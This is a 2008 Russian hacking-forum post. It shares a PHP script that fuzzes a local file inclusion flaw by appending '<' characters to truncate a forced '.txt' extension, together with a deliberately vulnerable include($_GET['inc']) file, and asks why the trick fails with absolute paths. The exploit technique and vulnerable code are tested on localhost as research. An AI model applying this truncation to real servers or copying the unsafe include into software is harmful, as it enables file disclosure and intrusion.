Показать сообщение отдельно

  #22  
Старый 30.12.2008, 14:48
SQLHACK
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме:
1607210

Репутация: 1617


По умолчанию

Вообщем написал скрипт для быстрой проверки.

Складываем в папку z:/home/localhost/www/testinc/
Скрипт становится доступным по адресу http://www.localhost/testinc/test.php

Скрипт который запускаем (test.php)
PHP код:
<?php
$evilstr 
"";
$fp fopen("log.txt","a");
for (
$x=0;$x<=500;$x++){
    
$evilstr .= "<";
    
$content file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr);
    if (
preg_match("#(.*)bugworking(.*)#",$content,$matches)){
        echo 
"http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n";
        die (
"Bug working with $x added chars");
    }else{
         
fputs($fp$content."\r\n\r\n");
    }
}
fclose($fp);
?>
Скрипт который инклюдит inc.php ложим туда же

PHP код:
<?php
error_reporting
(E_ALL);
include(
$_GET['inc'].".txt");
?>
и ложим файл vuln.txt с содержимым

PHP код:
-bugworking
запускаем в браузере http://www.localhost/testinc/test.php
Получаю в ответ, что бага работает 216 символов и более.

Версии
PHP Version => 5.2.4
Windows NT XHOME 5.1 build 2600 Build Date хр короче
Apache 2.2.4

но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет.

PHP код:
<?php
error_reporting
(E_ALL);
include(
"Z:/home/localhost/www/testinc/".$_GET['inc'].".txt");
?>
Внимание вопрос. Почему ?
У кого есть идеи ?
то есть я не вижу объективных причин не работать с абсолютным путём.
__________________
Бойтесь своих желаний. Они могут исполниться....

...О-о-о-о, ушами не услышать, глазами не понять!

Последний раз редактировалось SQLHACK; 30.12.2008 в 15:35..
 
Ответить с цитированием